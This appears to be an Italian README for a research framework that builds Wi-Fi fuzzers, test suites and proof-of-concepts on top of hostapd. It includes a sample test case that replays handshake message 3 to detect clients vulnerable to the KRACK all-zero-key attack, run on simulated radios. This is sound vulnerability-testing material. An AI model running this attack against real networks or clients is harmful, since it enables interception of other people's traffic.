
Framework Wi-Fi per creare proof-of-concept, esperimenti automatizzati, suite di test, fuzzer e altro ancora.
Presentiamo un framework per eseguire esperimenti Wi-Fi più facilmente. Può essere utilizzato per creare fuzzer, implementare nuovi attacchi, creare proof-of-concept per testare vulnerabilità, automatizzare esperimenti, implementare suite di test e così via.
Il principale vantaggio del framework è che ti permette di riutilizzare le funzionalità Wi-Fi di Linux per implementare attacchi e/o test più facilmente. Ad esempio, il framework può connettersi a reti Wi-Fi (protette) per te e può trasmettere beacon per te durante il test dei client. In generale, qualsiasi funzionalità Wi-Fi di Linux può essere riutilizzata per implementare attacchi/test più rapidamente. Il framework realizza ciò eseguendo casi di test sul demone hostap nello spazio utente.
Panoramica del demone Wi-Fi e dei componenti del Framework.
Se sei nuovo nell'esecuzione di esperimenti Wi-Fi su Linux, è altamente consigliato leggere prima il Tutorial Linux di libwifi. Quando implementi attacchi Wi-Fi di base senza la necessità di riutilizzare le funzionalità di Linux, il framework offre vantaggi limitati e puoi invece considerare di implementare direttamente attacchi in Scapy e opzionalmente utilizzare la libreria libwifi.
Per utilizzare il framework:
Installalo eseguendo ./setup.sh. Vedi setup per sapere cosa fa questo script.
Leggi il tutorial di utilizzo.
Supponiamo che tu voglia testare se un client cripta mai i frame usando una chiave composta da tutti zeri. Questo può accadere durante un attacco di reinstallazione della chiave. Utilizzando il framework non è necessario reimplementare tutte le funzionalità di un punto di accesso, ma solo scrivere il seguente caso di test:
class ExampleKrackZerokey(Test):
name = "example-krack-zero-key"
kind = Test.Authenticator
def __init__(self):
super().__init__([
# Replay 4-Way Handshake Message 3/4.
Action( trigger=Trigger.Connected, action=Action.Function ),
# Receive all frames and search for one encrypted with an all-zero key.
Action( trigger=Trigger.NoTrigger, action=Action.Receive ),
# When we receive such a frame, we can terminate the test.
Action( trigger=Trigger.Received, action=Action.Terminate )
])
def resend(self, station):
# Resend 4-Way Handshake Message 3/4.
station.wpaspy_command("RESEND_M3 " + station.clientmac )
def receive(self, station, frame):
if frame[Dot11].addr2 != station.clientmac or not frame.haslayer(Dot11CCMP):
return False
# Check if CCMP-encrypted frame can be decrypted using an all-zero key
plaintext = decrypt_ccmp(frame.getlayer(Dot11), tk=b"\x00"*16)
if plaintext is None: return False
# We received a valid plaintext frame!
log(STATUS,'Client encrypted a frame with an all-zero key!', color="green")
return True
Il caso di test sopra creerà un punto di accesso a cui i client possono connettersi. Dopo che il client si connette, un nuovo terzo messaggio nell'handshake a 4 vie verrà inviato al client. Un client vulnerabile inizierà quindi a utilizzare una chiave di crittografia composta da tutti zeri, che il caso di test rileva automaticamente.
Puoi eseguire il caso di test sopra utilizzando radio Wi-Fi simulate come segue:
./setup/setup-hwsim.sh 4
source setup/venv/bin/activate
./run.py wlan1 example-krack-zero-key
Puoi connetterti al punto di accesso creato per testarlo (rete testnetwork con password passphrase):
./hostap.py wlan2
Modificando la configurazione di rete, questo AP può essere facilmente configurato per utilizzare WPA2 o WPA3 e/o configurato per l'autenticazione enterprise, senza apportare alcuna modifica al caso di test che abbiamo scritto! Ulteriori vantaggi dell'utilizzo del framework in questo esempio sono:
Vedi una descrizione dettagliata di tutti i nostri esempi per ulteriori esempi.
Questo lavoro è stato pubblicato alla ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec '21):
Lavori che hanno utilizzato questo framework o uno simile: